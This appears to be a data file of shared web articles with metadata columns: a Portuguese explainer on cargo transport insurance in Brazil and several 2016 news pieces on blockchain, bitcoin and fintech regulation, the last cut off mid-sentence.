1460547704,CONTENT SHARED,-4469492210394109129,5683029675627635125,-7044888500585609425,,,,HTML,http://www.tudosobreseguros.org.br/portal/pagina.php?l=%20417,Entenda o seguro de transportes,"Entenda o seguro de transportes Comprando uma apólice e poupando dinheiro * Quem deve contratar o seguro de transportes de carga? * Como é feita a contratação do seguro de transporte de carga? * Quais são as opções de apólices que podem ser contratadas? * Quais são os principais documentos de um contrato de seguro de transporte de cargas? * Averbação * Fatura mensal * Certificado de seguro * As apólices são padronizadas? * O que é ""dispensa do direito de regresso"" e em que condições essa cláusula é aplicada? * Qual o limite de responsabilidade do seguro de transporte de cargas? * O gerenciamento de risco reduz o custo do seguro de transporte de cargas? * Qual é o custo do seguro? Quem deve contratar o seguro de transportes de carga? O seguro de transportes é utilizado tanto pelo proprietário das mercadorias como pelo transportador, com o objetivo de proteger uma carga contra os mais diversos tipos de risco, desde a origem até o destino final. O segurado tem garantia de indenização, por reembolso, de perdas e danos causados aos bens ou mercadorias transportados em viagens nacionais ou internacionais, em quaisquer modalidades de transporte. A complexidade desse tipo de seguro exige, acima de tudo, a participação do corretor para identificar o contrato mais adequado à necessidade de proteção para a carga a ser transportada. O valor do seguro varia de acordo com as garantias contratadas, o meio de transporte e o tipo da mercadoria segurada. O transporte de cargas é considerado de alto risco ante o índice elevado de roubos e a precariedade das estradas do país, entre outras dificuldades decorrentes do trajeto, desde o embarque até a entrega final da mercadoria. Nos outros meios de transporte, como ferroviário, aéreo e aquaviário, apesar de menor frequência de acidentes e roubos, quando ocorre a perda ela é sempre alta, geralmente com perda total da carga. A redução desses riscos passa por um modelo de gestão personalizado, desenhado caso a caso para prevenção de perdas e para o controle, quando estas ocorrem. O gerenciamento de riscos é uma consultoria prestada por uma equipe de profissionais da seguradora ou de uma empresa especializada, responsável pela elaboração de planos de ação para garantir a integridade do transporte da carga em qualquer modalidade. Segundo dados do mercado de seguros, cerca de 70% das perdas podem ser evitadas com a adoção de um plano de gerenciamento de riscos. A maioria dos danos e perdas é decorrente de embalagem inadequada e/ou falta de cuidado no manuseio da carga ou a negligência com a segurança. Como é feita a contratação do seguro de transporte de carga? O contrato deste seguro é feito a partir do chamado ""conhecimento de embarque"" - documento emitido pela companhia transportadora que atesta o recebimento da carga, as condições de transporte e a obrigação de entrega das mercadorias ao destinatário legal, no ponto de destino preestabelecido, conferindo a posse das mercadorias. É, ao mesmo tempo, um recibo de mercadorias, um contrato de entrega e um documento de propriedade, constituindo-se dessa forma um título de crédito. Esse documento - conhecimento de embarque - estabelece a relação entre o proprietário da carga e o transportador, definindo a quem cabe a obrigação de contratar o frete. Determina, ainda, a partir de que momento a responsabilidade da carga segurada passará do até então proprietário para o comprador da mercadoria. Nos seguros de transporte de carga para exportação, o modelo do documento ""conhecimento de embarque"" varia de acordo com a modalidade de transporte: marítimo, aéreo, rodoviário, ferroviário ou multimodal. É o comprovante de que a mercadoria foi colocada a bordo de um determinado meio de transporte, sendo aceito pelos bancos como garantia de embarque para o exterior. O conhecimento de embarque deve conter os seguintes dados: * nome e endereço do exportador e do importador; * local de embarque e desembarque; * quantidade, marca e espécie de volumes; * tipo de embalagem; * descrição da mercadoria e códigos (SH/NCM/NALADI); * peso bruto e líquido; * valor da mercadoria; * dimensão e cubagem dos volumes; e * valor do frete. Nesse mesmo documento deve constar a forma de pagamento do frete: frete pago ( freight prepaid ) ou frete a pagar ( freight collect ). O conhecimento de embarque também informa as condições em que a mercadoria foi embarcada, isto é, sem restrições ou ressalvas à mercadoria (clean on board) ou mercadoria recebida aparentemente em boas condições (received in apparent gook order and conditions). Esta declaração é o compromisso do transportador de entregar a mercadoria nas mesmas condições em que foi recebida do exportador. Hoje convivem modelos de conhecimento de embarque em papel e eletrônico. Obtenha o modelo e o manual da versão eletrônica , fornecidos pelo Ministério da Fazenda. Os modelos tradicionais para serem impressos podem ser encontrados nos anexos do convênio Sinief 06/89 (Sistema Nacional Integrado de Informações Econômico-Fiscais). Quais são as opções de apólices que podem ser contratadas? Dependendo do porte da empresa, podem ser elaboradas apólices abertas ou avulsas. As primeiras, também chamadas apólices de averbação (modalidade que exige comprovante do embarque efetivo da carga segurada), costumam ser usadas por empresas que frequentemente necessitam transportar as mercadorias que vendem. São apólices com prazos dilatados, acima de um ano, sendo utilizadas para vários embarques, cada um deles personalizado conforme a característica da carga da vez. Já as apólices avulsas são destinadas a empresas de pequeno e médio porte, que realizam transporte de mercadorias esporadicamente. A sua utilização só é permitida nos seguros de transporte nacional, se forem contratados pelos donos das mercadorias, e nos de transporte internacional, para proteger o risco de uma viagem e/ou embarque predeterminado. Quais são os principais documentos de um contrato de seguro de transporte de cargas? Empresas de porte maior geralmente possuem um departamento dedicado à administração de seus seguros. As companhias de menor envergadura, não raro, se deparam com a complexidade desse tipo de seguro, e acreditam, erroneamente, que a contratação vai aumentar muito seus custos. As seguradoras, no entanto, desenvolveram para as pequenas e médias empresas apólices apropriadas, com prazo de duração de um ano, que reduzem em média em 15% o custo de uma cobertura tradicional. As etapas para a contratação desse seguro passam por: Proposta Documento com todas as informações sobre os riscos que o interessado na contratação do seguro deve preencher. A seguradora tem 15 dias, a partir do recebimento da proposta, para aceitar ou recusar o risco. Quando se trata de apólices avulsas - utilizadas por empresas com baixa frequência de transporte de cargas -, geralmente, o prazo de resposta da seguradora diminui para sete dias. Apólice Apólice avulsa Documento básico do contrato de seguro. São três os tipos de apólice. Recomendada para segurados com poucos embarques. Cada embarque corresponde à emissão de uma apólice, com condições detalhadas e específicas (marca, número de série, espécie, quantidade, embalagem, valor, meio de transporte, locais de início e destino, cobertura, taxas, prêmio, prazo, limite de garantia, etc). Esta modalidade exige comprovante do embarque efetivo da carga segurada. É apropriada para segurados que realizam embarques com frequência. Ao contrário da apólice avulsa, as mercadorias são relacionadas nas ""averbações"". Para cada embarque se faz uma averbação, com todas as suas características. Neste tipo de apólice já estão definidos os termos e condições do seguro. Por exemplo, se embarques de determinada mercadoria não fazem parte dos riscos cobertos, o segurado não pode averbá-los. Apólice anual com prêmio fracionado Da mesma forma, o limite por embarque é definido na contratação da apólice. Aceito esse limite, o segurado não poderá averbar embarques de mercadorias que o ultrapassam. São conhecidas também por ""apólices ajustáveis"". O seguro é contratado por ano, sendo que o preço (prêmio) é calculado com base na estimativa anual de embarques. Esta modalidade de apólice permite que o custo seja ajustado periodicamente, de acordo com os embarques efetivamente realizados e as averbações efetuadas. Averbação O segurado comunica à seguradora, por meio desse documento, a realização dos embarques, quando a apólice prevê esse mecanismo. A maioria das seguradoras já oferece o serviço de averbação eletrônica, pela internet, com processos extremamente simplificados Os corretores de seguros especializados conhecem a sistemática de averbação de várias seguradoras, podendo auxiliar na escolha do segurado. Endosso Documento que as seguradoras emitem a pedido do segurado para complementar, prorrogar, cancelar ou efetivar qualquer alteração no contrato existente, fazendo parte integrante da apólice. Fatura mensal A seguradora emite esse documento, que contém a cobrança do prêmio do seguro nas apólices de averbação (modalidade que exige comprovante do embarque efetivo da carga segurada). A fatura corresponde às averbações efetivadas pelo segurado. Certificado de seguro Documento típico do seguro de transporte internacional para operações de exportação, com o objetivo de comprovar a contratação do seguro para os bancos financiadores, para os compradores das mercadorias ou outras instituições, ou ainda, autoridades que tiverem interesse nos artigos a serem exportados. As apólices são padronizadas? A Superintendência de Seguros Privados (Susep), autarquia subordinada ao Ministério da Fazenda e responsável pela fiscalização do setor, fixou regras para as condições do contrato do plano padronizado do seguro de transporte. Esta modalidade, contudo, permite a inclusão de coberturas não previstas e de eventuais alterações, que deverão ser submetidas à aprovação da Susep. A utilização da apólice padronizada é opcional. Nada impede a contratação de uma apólice particularizada para a cobertura de um determinado risco. Mas, atenção, não é permitida a contratação de mais de um seguro para o mesmo risco e carga. Pelas atuais condições da apólice padronizada, a seguradora poderá estabelecer um prazo não inferior a seis meses para o cancelamento do contrato, na hipótese de o segurado não realizar qualquer averbação (comprovante do embarque efetivo da carga segurada) nesse período. O que é ""dispensa do direito de regresso"" e em que condições essa cláusula é aplicada? Essa é uma cláusula do contrato conhecida por DDR (Dispensa de Direito de Regresso), que dá direito à seguradora de recuperar o montante das indenizações pagas ao segurado, quando a responsabilidade pelo prejuízo é de terceiros . Por exemplo, um motorista embriagado ou com a carteira de habilitação irregular provoca um acidente na estrada que causa danos à carga segurada. A seguradora vai indenizar o prejuízo, mas tem o direito de regresso contra o motorista. Em outras palavras, a seguradora vai cobrar do motorista, ou da transportadora que o contratou, o valor da indenização. Ou seja, o motorista responde regressivamente pelas indenizações pagas. A inclusão da cláusula DDR não dispensa a obrigatoriedade que tem o transportador de contratar os seguros compulsórios de responsabilidade civil. Quando uma seguradora aceita incluir a cláusula DDR na apólice contratada pelo dono da carga, geralmente, exige que este faça uma declaração para o transportador na qual se comprometa a isentá-lo da responsabilidade por perdas e danos na hipótese de roubo de carga. Essa declaração é assinada pelo proprietário da carga e pela seguradora, com o objetivo de tranquilizar o transportador que ele não será cobrado pelos prejuízos previstos para dispensa do direito de regresso ou por aqueles que puderem ocorrer enquanto a carga estiver sob sua responsabilidade. Qual o limite de responsabilidade do seguro de transporte de cargas? O limite é o valor da indenização que a seguradora terá de pagar na hipótese de ocorrerem danos ou perda da carga, em cada viagem de um mesmo meio de transporte. Também é levado em conta o armazenamento de bens e/ou mercadorias em portos ou terminais de carga dos aeroportos. Na apólice está definido o limite máximo de indenização para um mesmo embarque e/ou viagem, com base no cálculo do valor da importância segurada. O valor da importância segurada, por sua vez, deverá corresponder ao custo declarado na fatura comercial, acrescido do frete. A quantia que consta da fatura comercial é denominada ""valor do objeto segurado (VOS)"", na linguagem do seguro. A essa quantia podem ser adicionados os lucros esperados pelo comprador, as despesas e os impostos. O gerenciamento de risco reduz o custo do seguro de transporte de cargas? A preocupação comum das seguradoras é orientar seus clientes com medidas que ajudem a carga a chegar a seu destino com segurança, evitando avarias e prejuízo. O objetivo coincide com o dos segurados, donos das cargas. O transporte de cargas é, inclusive, um dos indicadores do desempenho da economia. Com o crescimento do Produto Interno Bruto (PIB - que revela o valor de toda a riqueza gerada no país), o setor de transporte de cargas tem apresentado evolução significativa nos últimos anos. Dados da Agência Nacional de Transportes Terrestres (ANTT) mostram que são mais de 120 mil empresas transportadoras e cerca de 800 mil veículos registrados em todo o território nacional. O seguro do transporte de cargas acompanha essa expansão, revelando que o empresário está mais consciente da necessidade de proteger o patrimônio transportado, diante da constatação de que a relação custo/benefício é compensadora na hora de um acidente ( sinistro ) com suas mercadorias. Dentro do gerenciamento de riscos em transportes, devemos entender o seguro como sendo a transferência de um risco. Dessa forma, o custo do seguro de transporte, como de qualquer outro seguro, resulta do grau de risco que a seguradora assume. Para isso, é feito um estudo técnico, que determina as condições e o preço de seguro apropriados, com base na dimensão dos riscos envolvidos. A análise de risco faz uma gradação, em escala, das cargas que estão expostas a maior ou menor possibilidade de sofrerem danos e perdas assumidos pela seguradora. São consideradas de alto risco, entre outras, cargas de alimentos, de eletrônicos e de medicamentos. Veículo e carga Gerenciamento de riscos O gerenciamento de riscos no transporte de cargas procura diminuir os riscos que podem ou não ser evitados. As principais formas de tratar os riscos em logística são relacionadas à segurança das cargas contra roubos e extravios, com a adoção de diversas medidas de segurança. Existem situações em que as medidas de segurança não são eficazes. Por exemplo, um acidente da natureza, como uma enchente de grandes proporções que bloqueia estradas. No entanto, há circunstâncias nas quais as medidas de segurança adotadas diminuem os riscos. As apólices de seguro de transporte são feitas, geralmente, de forma a atuar em relação aos fatores que incidem na vulnerabilidade das cargas durante o percurso entre o local de origem até seu destino. No Brasil, o principal risco observado é o de roubo de veículos e mercadorias. Os seguros estão diretamente relacionados ao ambiente em que o transporte de cargas é feito, daí que o fator risco é determinante para a elaboração das regras contratuais e normas da apólice . A empresa que contrata o seguro deve observar que a apólice define diversas medidas, condições e planos para o transporte da mercadoria. A partir daí, é elaborado um plano de operações que envolve todas as partes do processo logístico, a começar do local de origem da carga a ser transportada até o seu destino final, passando pelos responsáveis diretos pelo transporte e pela segurança da mercadoria. Uma apólice de seguro leva em conta que o transporte rodoviário é predominante no país, sendo que a maioria das estradas brasileiras é enquadrada como ruim ou péssima. Além do ambiente em que se realiza o transporte, são consideradas as estatísticas dos índices, rotas e horários onde há maior incidência de roubo e extravio de cargas. Cargas com alto índice de roubo (eletrônicos, medicamentos, bebidas, cigarros e outros de alto valor) merecem procedimentos especiais, como exigência de monitoramento, escolta, fracionamento em mais veículos, etc. Caminhoneiro Outra questão importante é o trajeto, já que é possível saber quais são os trechos de rodovias do país com maior índice de roubos e de acidentes. Uma das recomendações para prevenir esse tipo de risco é evitar viagens noturnas nesses trechos. O caminhoneiro é outro personagem importante nesse processo, já que é o responsável legal pela carga até sua entrega no destino final. Vários estudos mostram que esse profissional, no país, em média, tem baixo grau de escolaridade e é submetido a altas jornadas de trabalho, muitas vezes usuário de medicamentos para combater o sono e o cansaço. As seguradoras costumam manter um cadastro de motoristas, ajudantes e veículos, colaborando na seleção criteriosa de prestadores de serviços, inclusive de empresas transportadoras e autônomos. Em seus sites, na área restrita aos clientes, as seguradoras desenvolveram programas que permitem aos segurados acompanhar a posição do veículo que transporta a sua carga, em tempo real. O uso de equipamentos específicos é outra forma importante utilizada para reduzir os riscos no transporte de cargas. A maioria deles é destinada à comunicação com o condutor do veículo e ao rastreamento da carga, o que permite adotar medidas de emergência em casos de necessidade, como avarias mecânicas. Empresas transportadoras de grande porte possuem centrais próprias de monitoramento de caminhões, sendo comum também a contratação de serviços especializados nessa área. Entre outras tecnologias usadas para monitoramento de cargas e veículos, destacam-se GPS ( Global Positioning System - Sistema de Posicionamento Global), triangulação de ERB (Estação Rádio base) e DGPS (Sistema de Posicionamento Global Diferenciado), além de telefones celulares e pagers . Qual é o custo do seguro? O custo do seguro varia de acordo com as garantias contratadas, o meio de transporte e o tipo da mercadoria segurada. Na composição do preço, têm grande participação as medidas de segurança adotadas por parte de quem contrata o seguro, como o gerenciamento de riscos. Para cobrir indenizações em caso de prejuízos causados à carga durante o percurso é pago um valor, chamado prêmio , à seguradora. Esse prêmio é calculado por um percentual sobre o valor da carga, determinado por tipo de transporte, mercadoria, embalagem, características perecíveis, destino, período coberto, tipo de cobertura (completa, parcial, etc) e frequência de sinistros e valores indenizados com riscos semelhantes. Quanto mais alta a frequência e valores indenizados, mais alto será o prêmio (custo do seguro). O embarque aéreo costuma ter tarifa de seguro equivalente à metade das modalidades marítima e terrestre. Entretanto, embarques marítimos em contêineres têm redução no prêmio de seguro. As condições de pagamento dependem do tipo de apólice . Para a modalidade avulsa, o segurado paga à vista, antes do início do risco. Já nas apólices abertas ou de averbação (modalidade que exige comprovante do embarque efetivo da carga segurada), que cobrem diversos embarques, o faturamento é mensal, com prazo para pagamento de até 30 dias a contar da data da emissão da fatura. Quando for uma apólice anual com prêmio fracionado, destinada também à cobertura de vários embarques, com custo fixo ou ajustável, o pagamento do seguro pode ser feito em parcelas, em número inferior ao de meses de vigência do contrato. A última parcela não pode vencer depois do término do seguro. A empresa que contrata uma apólice nessa modalidade pode antecipar o pagamento das parcelas, tendo direito à redução proporcional dos juros. Na hipótese de atraso de pagamento de uma das parcelas, desde que não seja a primeira, o prazo de validade da cobertura será ajustado de acordo com o prêmio efetivamente pago, obedecendo a uma tabela determinada pela Susep.",pt
1460549523,CONTENT SHARED,5772565485432112058,4340306774493623681,6173407106018486716,,,,HTML,https://bitcoinmagazine.com/articles/u-s-state-department-recommends-development-of-blockchain-and-distributed-ledgers-to-international-partners-1460482660,U.S. State Department Recommends Development of Blockchain and Distributed Ledgers to International Partners,"Last month the U.S. State Department launched the "" American Innovation Roadshow "" with the Association of Southeast Asian Nations (ASEAN). Senior members of U.S. Secretary of State's John Kerry's economic team led business delegations from financial investors, U.S. multinational and early stage companies. In two stunning speeches, the State Department began advocating the adoption blockchain technology. Ambassador David H. Thorne , senior adviser to the secretary of state, was among those attending the roadshow. The ambassador leads a departmentwide effort to ""position economic and commercial issues more prominently within the U.S. foreign policy landscape"" and to ""elevate the importance of entrepreneurship, technology and innovation in the State Department's promotion of global prosperity."" Thorne gave speeches at both the March 3 @America Innovation at Innovation and Entrepreneurship Presentations at Pacific Place in Jakarta, Indonesia and the March 7 Vietnam Ministry of Science and Technology Innovation Conference in Hanoi. Speeches given by the ambassador encouraged these countries to adopt blockchain and distributed ledger technologies. Both the Vietnam and Indonesia (prepared) remarks included the following similar, if not identical, recommendations: ""...[W]e would like to encourage the development of new financial technology or 'FinTech' innovations - blockchain and distributed ledgers, mobile banking, etc - which will provide a backbone to the e-commerce activity ... These kinds of tools naturally encourage fiscal and business transparency, not just for start-ups but for everyone, which is a key for reducing corruption and improving efficiency."" Bitcoin Blockchain Advances Last year the White House named Dr. Ed Felten deputy U.S. chief technology officer. Felten was previously the director of the Center for Information Technology Policy (CITP) at Princeton University, and is a well regarded Bitcoin researcher. Felten previously stated in CITP's ""Freedom to Tinker"" blog that Bitcoin is ""a new kind of thing: a currency whose rules are determined by open-source governance... [ ] governments will find new ways to influence it ."" Since Felten's appointment, the Bitcoin community has been closely watching the Obama administration's Bitcoin or ""Blockchain Policy"" -- or lack of thereof. Back in 2014, the White House was asked at a daily briefing if it was monitoring Bitcoin and had a position on it. Jay Carney, then White House press secretary, said only, ""For administration's position on it, I would refer you to the Treasury Department."" In January 2015, the State Department sought a virtual fellow to serve with the Office of Monetary Affairs, Office of International Finance and Development and Bureau of Economics and Business Affairs as digital currency research consultant. According to the posting, ""The State Department's Office of Monetary Affairs (OMA) is responsible for monitoring developments in global currencies, including digital currencies such as Bitcoin."" In January of this year, Bitcoin Vietnam and Coinify announced that they launched the first ""blockchain payment processing platform"" for Vietnam. In March the Vietnam Ministry of Industry of Trade issued caution against the use of Bitcoin and other altcoins ( as reported by The Merkle ). In May 2015, The Wall Street Journa l reported that Indonesians began embracing Bitcoin. Tribunnews.com of Jakarta reports that Bitcoin is quite popular in major cities across Indonesia even as the Bank of Indonesia continues to urge caution. The American Innovation Roadshow dialog is the clearest signal yet that the Obama administration is not only looking at blockchain technologies favorably, but also proactively advocating its adoption. Photo Center for American Progress Action Fund / Ralph Alswang",en
1460549542,CONTENT SHARED,5508043659570633487,4340306774493623681,6173407106018486716,,,,HTML,http://www.newsbtc.com/2016/04/12/using-blockchain-authenticate-university-diploma/,Using Blockchain to Authenticate University Diploma,"Since January of 2016, the French Ministry of Education has announced plans for the creation of a new digital platform which lets degree owners validate their document. As our society is transitioning to a Digital Age, it becomes more important than ever to digitize as much information as possible. Blockchain technology can be used for many different things, even though most people automatically associate this concept with the financial world. But by the look of things, individual French educational institutions are looking at the blockchain as a way to authenticate the universitarian diploma. Also read: Ethereum Price Technical Analysis - Another Downside Ride? French University Diploma and The Blockchain The technology offered by the blockchain is of great interest to French universities these days, as there is a lot of potential to innovate the educational sector as well. Especially when it comes to authentication degrees and diplomas, things can be simplified by quite a margin, while still ensuring the proper security and privacy precautions are in place. When somebody obtains their after university, potential employees have to authenticate the diploma itself, which has to be done manually. Not only is this a very time-consuming experience, but there is also room for doctored documents slipping through. Issuing this information on the blockchain, and using that same protocol for authentication, would shake up the educational sector. Since January of 2016, the French Ministry of Education has announced plans for the creation of a new digital platform which lets diploma owners validate their document. As our society is transitioning to a Digital Age , it becomes more important than ever to digitize as much information as possible. Blockchain technology would make this process possible on a global scale, although further research might be warranted in this regard. Header image courtesy of Shutterstock ""Graduating engineering students of - a private school - can authenticate a diploma in a few clicks as of March 31, 2016. They can a diploma identifier - which is made up of numbers and letters - and link it to their resume Thanks to this code, their future recruiters can go online and check validate the information on the resume in mere minutes. Welcome to the new digital world, powered by blockchain technology."" Companies all over the world are relying on recruiters to find the right people for the job opening, but that can be a significant struggle as well. According to a study by HireRight, over 85% of US recruiters come across misrepresentations in job applications. Authentication credentials can remove some of the stress faced by administrative teams would be made possible thanks to blockchain technology.",en
1460549561,CONTENT SHARED,3727587882617538492,4340306774493623681,6173407106018486716,,,,HTML,http://cointelegraph.com/news/bitcoin-in-the-time-of-negative-interest-rates,Bitcoin In The Time Of Negative Interest Rates,"The Central Banks of Japan and Europe have imposed negative interest rates on deposits. Would these blunt monetary tools of Central Bankers be effective if bitcoin adoption becomes widespread? Christine Lagarde, International Monetary Fund Managing Director, says: ""We see the recent introduction of negative interest rates by the ECB and Bank of Japan as net positives in current circumstances, though not without side effects that warrant vigilance."" Negative interest rates are the tools of Central Banks Negative interest rates are the emergency tools of Central Banks - they spur lending and investment in the economy when traditional measures have failed. Investors may tolerate marginal negative yields on sovereign debt because it is a safe investment, and they may be forced by their investment mandate into holding it. However, the efficacy of negative interest rates is limited by an alternative safe asset - cold cash . Central bankers would be horrified if their monetary policy forces people to hoard cash and hence would not venture too much into negative territory. Robbing of the citizens' purchasing power Governments have perfected the art of covertly robbing citizens of their purchasing power, through inflation . Inflation has eaten away the return on bonds , resulting in negative real interest rates. According to the Wall Street Journal, the 10-year US treasury yields are below inflation, resulting in real US 10-year yield of -0.58%. Negative nominal interest rates are a new and rare phenomenon and can be construed as an overt robbing of the citizens' purchasing power. Bitcoin as an internationally accepted currency What would happen if Bitcoin becomes an internationally accepted currency? Given that the number of bitcoins in circulation is limited, inflation will not be a concern and purchasing power would be retained. Interest rates would be market driven and negative interest rates would be impossible. Investors would be loath to pay for the security of sovereign debt, because cold storage of bitcoins has zero marginal cost. Governments could introduce a tax on all bitcoin holdings, which could have the same effect as negative interest rates. Ensuring compliance to such a measure would be difficult, unless the government has knowledge about the bitcoins held by its citizens. Increased bitcoin adoption would pose problems from central bankers across their world and may render some of their monetary tools toothless.",en
1460549588,CONTENT SHARED,1431351528207086249,4340306774493623681,6173407106018486716,,,,HTML,https://www.cryptocoinsnews.com/global-blockchain-forum-launched/,Global Blockchain Forum Launched to Coordinate Regulatory Interoperability and Best Practices,"The Chamber of Digital Commerce (CDC) has launched the Global Blockchain Forum ( GBF ), a partnering of the leading trade associations for the blockchain and digital asset industries. The goal is to create industry best practices and international regulatory interoperability. Founding members include CDC , the United Kingdom Digital Currency Association, the Association of Crypto-Currency Enterprises and Startups, Singapore (ACCESS) and the Australian Digital Currency Commerce Association (ADCCA). The CDC website includes a global map dividing the regions of the globe into four sectors: permissive, contentious, hostile and unknown. Leading Trade Groups Partner Perianne Boring , CDC founder and president, told Forbes the forum brings together the leading trade associations to engage with governments. She said it's important that the stakeholders working with public policymakers and the associations coordinate their efforts. To date, there has been no formal way to coordinate these efforts, despite the fact that $1.1 billion in venture capital has been invested in the bitcoin and blockchain space in recent years. The forum's concept emerged after Boring and Ron Tucker, ADCCA chair, realized that efforts in their respective jurisdictions were similar. Boring said it makes no sense to duplicate resources and efforts. She said the organizations will move faster and farther by working together. In addition, she said many of the associations' members have an international presence. For such members, it is important to have similar rules, standards and best practices across borders. ""Interoperable"" is a word that commonly describes how different digital currency protocols should work together, she said. Regulations Often Inconsistent Not having unified policies among jurisdictions can be expensive for startups. CDC believes companies that operate in the U.S. must abide by different state rules for ""money transmitters"" and pay between $2 million and $5 million annually in compliance costs. New York has BitLicense, a licensing regulation. California recently updated its money transmitter rules that now include a virtual currency business definition. Hence, a U.S. company with customers in California and New York face two completely different regulatory approaches, Boring said. Federal regulators oftentimes do not hold consistent views. The U.S. Commodities Futures Tarde Commission (CFTC) views blockchain and bitcoin as a commodity. The Securities and Exchange Commission (SEC) views it as a security, while the Financial Crimes Enforcement Network (FinCen) views it as currency, and the Internal Revenue Service (IRS) treats it as property. Conflict-of-law issues can arise in which a company could not be in compliance with all the laws, Boring noted. She called this a huge impediment to investment, innovation, and industry growth. Similar problems exist among countries. The U.S. government can pursue a direction in defining the technology, while in the U.K., regulators view it in a completely different way. Companies with customers in both nations will face very costly compliance costs. Best Practices Needed The GBF will support best practices among participants. It will also improve awareness of blockchain technology and the social and economic impacts it creates. Another goal is to work with government agencies and world organizations to develop consistent policy, regulation and legislation. Tucker said there will be a lot of commercial opportunities coming due to blockchain technology. The GBF wants to foster global relationships and partnerships among commerce and business. This can include existing players in consulting services. ADCCA members include Deloitte, Dun & Bradstreet and PwC. Pairing these companies with startup blockchain and digital currency firms will bring ""an entire revolution."" ADCCA has encouraged the Australian government not to doubly apply value added tax on digital currency transactions. It has also developed a digital currency industry code of conduct that suggests members have the necessary AML/KYC processes in place and conduct an annual code compliance audit. Also read: Chamber of Digital Commerce; Can it centralize bitcoin's political efforts in US? Projects Already Under Way GBF members have already begun work on certain projects, collaborating with government, industry and academia to develop real world application standards such as identity management. One initiative, distributed identity (d.ID), attempts to develop blockchain-powered identities for persons not connected to entities like Facebook or Google. The U.S. has at least 10 regulatory agencies that have established or are looking to assert jurisdiction over digital currency. Jurisdictions like the U.K. and Singapore have similar approaches that the U.S. could learn from, Boring said. She said this is causing what's called regulatory arbitrage, where firms leave the U.S. and move to countries with lower compliance costs. Bitcoin startups that have discovered regulatory regimes in other nations more favorable include itBit, which began in Singapore and later expanded to the U.S. Another example is Blockchain.info, a London-based exchange that has found U.S. policy more fragmented and the U.K. policy more consistent, according to Peter Smith, the exchange's chief executive. Smith said exchange startups such as Coinbase, itBit and Circle had been seeking an agreement such as the one announced last week with Barclays and Circle in the U.K. This marked the first major agreement between a bank and a digital currency startup. Future Challenges Call For Change Boring expects regulators will face more complicated tasks going forward as the blockchain expands to applications beyond currency. She said regulations have to be established narrowly so when new applications like smart contracts or settlement and clearing come to market, they don't face regulatory limbo. As the blockchain expands, regulation must be flexible enough to allow for innovation, Boring said. Images from Shutterstock and Digital Chamber.",en
1460549629,CONTENT SHARED,-692972306229904743,4340306774493623681,6173407106018486716,,,,HTML,http://www.cnbc.com/2016/04/11/blockchain-wont-kill-banks-brock-pierce.html,Blockchain won't kill banks: Bitcoin pioneer,"Blockchain - the technology that underpins the cryptocurrency bitcoin - is unlikely to kill banks despite warnings from top industry executives, the chair of a bitcoin non-profit organization told CNBC on Monday. Last week, Andrey Sharov, a vice president at Russia's Sberbank, said banks would disappear by 2026 due to the rising use of blockchain technology. ""In 10 years, there will be no banks, I'm afraid,"" according to a translation of Sharov's comments by the Coinfox bitcoin news website. But Brock Pierce, the chairman of the Bitcoin Foundation, said that while the adoption of blockchain will hit parts of a bank, it will ultimately create opportunity. ""There are certain aspects of their business that are going to be negatively impacted, but there are also going to be other business units that are going to be positively impacted and new business units that get created that might not even exist today,"" Pierce told CNBC in an interview on Monday. ""And the parts of the industry that are being most negatively impacted are the ones where the bank is not providing much in the way of value, where they are being a toll taker but not really a value creator."" Timeline? Blockchain is the technology that underlies the cryptocurrency bitcoin. It works like a huge, decentralized ledger for bitcoin which records every transaction and stores this information on a global network so it cannot be tampered with. Banks feel blockchain technology can be utilized in areas from remittances to securities exchanges to bring about efficiency. The Bitcoin Foundation positions itself as an organization that is helping to advance the use of the cryptocurrency ""through advocacy, education and support of adoption and core development"", according to its website. While there is no centralized authority for bitcoin, the organization is trying to create common standards for its use. Pierce has a varied history. He was a child film star who appeared in Disney's ""The Mighty Ducks"" film in the early 1990s. He has previously run internet companies and is a partner in Blockchain Capital, a venture capital firm that invests in companies in the space. A number of major financial institutions have been speaking publically about blockchain and touting its potential. A firm called R3 has brought together a group of the world's biggest banks including JPMorgan and Citigroup and is dedicated to researching and delivering new financial technology. Another company called Digital Asset Holdings, founded by an ex-top JPMorgan executive, partnered with JPMorgan earlier this year to explore blockchain technology. Speaking at the Money 2020 conference in Copenhagen last week, Digital Asset Holdings chief executive Blythe Masters, said blockchain technology will be ""deployed in a commercial setting in less than a couple of years,"" but widespread adoption would take longer , a point Pierce echoed. ""I think banks are going to take a while to integrate this ... it's going to take them years of testing before they start to commercialize aspects of the technology ... it's more likely to have an impact in other industries in the short term which are less-regulated and where the stakes are lower,"" Pierce told CNBC. Pierce also explained that there would be ""dozens of different versions of blockchains"" deployed for different use cases. Bitcoin 'major PR problem' The Bitcoin Foundation has had a checkered history. In December, Pierce declared in meeting minutes that the organization was ""close to running out of money."" And bitcoin itself has had a bad reputation. The cryptocurrency is often linked to allowing people to purchase illegal items anonymously, while one of the world's largest bitcoin exchanges, Mt. Gox, collapsed in 2014 . While not referring to these specific incidents, Pierce did admit that bitcoin's reputation has suffered some bad publicity, and why the banks are focusing on the underlying technology of blockchain. ""Bitcoin's got a major PR (public relations) problem and that's why you hear major banks saying bitcoin bad, blockchain good,"" Pierce said. ""Emerging technologies and the earliest adopters often produce these types of messages. And bitcoin as the pioneer takes the arrows in the back...which is probably not warranted.""",en
1460549653,CONTENT SHARED,2871648046424590878,4340306774493623681,6173407106018486716,,,,HTML,http://cointelegraph.com/news/uk-regulators-declare-start-of-beautiful-friendship-with-bitcoin-ethereum,UK Regulators Declare Start of,"Christopher Woolard, Financial Conduct Authority (FCA) Director of Strategy and Competition, announced a regulatory sandbox for fintech companies, a first of its kind. Harriett Baldwin, Economic Secretary to the Treasury, described Bitcoin and Ethereum as ""digital currencies"" and proclaimed the start of a ""beautiful friendship"". Both have been speakers at Innovate Finance Global Summit in London . As Christopher Woolard said in a groundbreaking speech, the aim of the sandbox is to ""test out their innovative ideas without immediately incurring all the normal regulatory consequences ."" FCA may waive rules Companies and start-ups that participate in the sandbox will be issued individual guidance on how FCA will interpret the rules under the understanding that if the guidance is followed they are in full compliance. The FCA may further waive or modify the rules or, in rare cases, may issue a ""no enforcement action"", in effect throwing out FCA's rulebook during the sandbox stage. Normal laws in regards to civil and criminal liability, of course, still apply. In explaining, Woolard stated: ""These letters aim to give firms comfort that as long as they deal with us openly, keep to the agreed testing parameters and treat customers fairly, we accept that unexpected issues may arise and will not take disciplinary action."" Similar to accelerators Signalling a highly innovative and open approach, Woolard stated that the sandbox will run ""not dissimilar to how accelerators operate"", with two cohorts a year. Moreover, the FCA intends to go further, announcing an ""industry working group to explore options for industry led sandboxes."" In a further speech at the same summit, Harriett Baldwin, Economic Secretary to the 